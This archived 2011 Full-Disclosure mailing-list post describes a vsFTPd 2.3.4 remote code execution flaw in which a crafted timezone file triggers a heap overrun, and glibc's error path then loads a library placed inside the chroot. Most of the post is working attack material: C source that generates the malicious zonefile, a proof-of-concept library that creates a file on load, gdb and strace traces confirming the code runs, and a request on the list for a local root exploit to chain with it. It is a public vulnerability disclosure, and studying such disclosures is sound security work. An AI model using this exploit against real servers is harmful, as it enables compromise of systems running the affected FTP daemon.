full-disclosure-uk December 2011 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: [Full-disclosure] vsFTPd remote code executi

[Full-disclosure] vsFTPd remote code execution

From: HI-TECH . <isowarez.isowarez.isowarez_at_nospam>
Date: Tue Dec 13 2011 - 19:50:48 GMT
To: full-disclosure@lists.grok.org.uk

Hello Lists, Ramon,

now this is really akward and somewhat dangerous for vsftpd users.
Exploiting the heap overrun is NOT needed in this case.
It is much easier.

As far as I know when vsftpd crashes due to the heap overrun it will print out
*** glibc detected *** vsftpd: free(): corrupted unsorted chunks: 0x09b3c220 ***
or similar.
Now the fun part is when glibc does that it will continue execution in
a code path
which actually LOADS A LIBRARY, WOW! :D
Namely /lib/libgcc_s.so.1 will be loaded.

gdb backtrace reveals loading of a specific library:

---snip---
Program received signal SIGSEGV, Segmentation fault.
0x00189963 in dl_open_worker () from /lib/ld-linux.so.2
(gdb) bt
#0 0x00189963 in dl_open_worker () from /lib/ld-linux.so.2
#1 0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2
#2 0x001893f2 in _dl_open () from /lib/ld-linux.so.2
#3 0x002a42e2 in do_dlopen () from /lib/libc.so.6
#4 0x00185da6 in _dl_catch_error () from /lib/ld-linux.so.2
#5 0x002a4495 in __libc_dlopen_mode () from /lib/libc.so.6
#6 0x002810f9 in init () from /lib/libc.so.6
#7 0x00281293 in backtrace () from /lib/libc.so.6
#8 0x001fd2a1 in __libc_message () from /lib/libc.so.6
#9 0x002055a5 in _int_free () from /lib/libc.so.6
#10 0x002059e9 in free () from /lib/libc.so.6
#11 0x001f3c96 in fclose@@GLIBC_2.1 () from /lib/libc.so.6
#12 0x0022093a in __tzfile_read () from /lib/libc.so.6
#13 0x0021f872 in tzset_internal () from /lib/libc.so.6
#14 0x00220119 in __tz_convert () from /lib/libc.so.6
#15 0x0021e6af in gmtime () from /lib/libc.so.6
#16 0x0805a6f0 in geteuid ()
#17 0x0a0581b0 in ?? ()
#18 0xbfda67f4 in ?? ()
#19 0x00000001 in ?? ()
---snip---

look at this library:
---snip---
#include <fcntl.h>
void _init() {
        open("0wned", O_RDWR|O_CREAT, 0777);
}
---snip---

look at this strace output:
---snip---
3874 stat64("/usr/share/zoneinfo/UTC-01:00", {st_mode=S_IFREG|0644,
st_size=544, ...}) = 0
3874 open("/usr/share/zoneinfo/UTC-01:00", O_RDONLY) = 7
3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544, ...}) = 0
3874 fstat64(7, {st_mode=S_IFREG|0644, st_size=544, ...}) = 0
3874 mmap2(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000
3874 read(7, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
4096) = 544
3874 read(7, "", 4096) = 0
3874 close(7) = 0
3874 munmap(0xb7fe8000, 4096) = 0
3874 open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No
such file or directory)
3874 writev(2, [{"*** glibc detected *** ", 23}, {"vsftpd", 6}, {":
", 2}, {"free(): corrupted unsorted chunk"..., 33}, {": 0x", 4},
{"09b3c220", 8}, {" ***\n", 5}], 7) = 81
3874 open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
3874 open("/lib/tls/i686/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT
(No such file or directory)
3874 stat64("/lib/tls/i686/sse2", 0xbfeb711c) = -1 ENOENT (No such
file or directory)
3874 open("/lib/tls/i686/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No
such file or directory)
3874 stat64("/lib/tls/i686", 0xbfeb711c) = -1 ENOENT (No such file or
directory)
3874 open("/lib/tls/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No
such file or directory)
3874 stat64("/lib/tls/sse2", 0xbfeb711c) = -1 ENOENT (No such file or
directory)
3874 open("/lib/tls/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
file or directory)
3874 stat64("/lib/tls", 0xbfeb711c) = -1 ENOENT (No such file or directory)
3874 open("/lib/i686/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No
such file or directory)
3874 stat64("/lib/i686/sse2", 0xbfeb711c) = -1 ENOENT (No such file
or directory)
3874 open("/lib/i686/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
file or directory)
3874 stat64("/lib/i686", 0xbfeb711c) = -1 ENOENT (No such file or directory)
3874 open("/lib/sse2/libgcc_s.so.1", O_RDONLY) = -1 ENOENT (No such
file or directory)
3874 stat64("/lib/sse2", 0xbfeb711c) = -1 ENOENT (No such file or directory)
3874 open("/lib/libgcc_s.so.1", O_RDONLY) = 7
3874 read(7, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"...,
512) = 512
3874 open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENOENT (No
such file or directory)
3874 writev(2, [{"*** glibc detected *** ", 23}, {"vsftpd", 6}, {":
", 2}, {"malloc(): memory corruption (fas"..., 34}, {": 0x", 4},
{"09b36828", 8}, {" ***\n", 5}], 7) = 82
3874 open("/lib/libgcc_s.so.1", O_RDONLY) = 8
3874 read(8, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340\1\0\0004\0\0\0"...,
512) = 512
3874 mmap2(NULL, 2097152, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0xb7de4000
3874 munmap(0xb7de4000, 114688) = 0
3874 munmap(0xb7f00000, 933888) = 0
3874 mprotect(0xb7e00000, 135168, PROT_READ|PROT_WRITE) = 0
3874 fstat64(8, {st_mode=S_IFREG|0755, st_size=2011, ...}) = 0
3874 mmap2(NULL, 4824, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x95f000
3874 mmap2(0x960000, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0) = 0x960000
3874 close(8) = 0
3874 open("0wned", O_RDWR|O_CREAT, 0777) = 8
3874 rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
3874 gettid() = 3874
3874 tgkill(3874, 3874, SIGABRT) = 0
3874 --- SIGABRT (Aborted) @ 0 (0) ---
---snip---

as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside the chroot,
so voila we have the same issue as with FreeBSD ftpd/proftpd.
I am now looking into the possibility to modify
http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c

and use as the library. It will be a fun Proof of Concept.

Anyone with an up2date linux local root which only makes use of syscalls? :>

All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
compiled from sources
and launched from xinetd.
The zonefile which triggers the library load is attached.

Regards

/Kingcope

#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#define TZ_MAGIC "TZif"
#define PUT_32BIT_MSB(cp, value) \
        do { \
                (cp)[0] = (value) >> 24; \
                (cp)[1] = (value) >> 16; \
                (cp)[2] = (value) >> 8; \
                (cp)[3] = (value); \
        } while (0)
struct tzhead {
        char tzh_magic[4];
        char tzh_version[1];
        char tzh_reserved[15];
        char tzh_ttisgmtcnt[4];
        char tzh_ttisstdcnt[4];
        char tzh_leapcnt[4];
        char tzh_timecnt[4];
        char tzh_typecnt[4];
        char tzh_charcnt[4];
};
struct ttinfo
  {
    long int offset;
    unsigned char isdst;
    unsigned char idx;
    unsigned char isstd;
    unsigned char isgmt;
  };
int main(void) {
        struct tzhead evil;
        int i;
        char *p;
        uint32_t total_size;
        uint32_t evil1, evil2;
        /* Initialize static part of the header */
        memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
        evil.tzh_version[0] = 0;
        memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
        memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
        memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
        memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
        memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
        /* Initialize nasty part of the header */
        evil1 = 500;
        PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
        total_size = evil1 * (sizeof(time_t) + 1);
        total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
                & ~(__alignof__ (struct ttinfo) - 1));
        /* value of chars, to get a malloc(0) */
        evil2 = 0 - total_size;
        PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
        p = (char *)&evil;
        for (i = 0; i < sizeof(evil); i++)
                printf("%c", p[i]);
        /* data we overflow with */
        for (i = 0; i < 500; i++)
                printf("A");
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/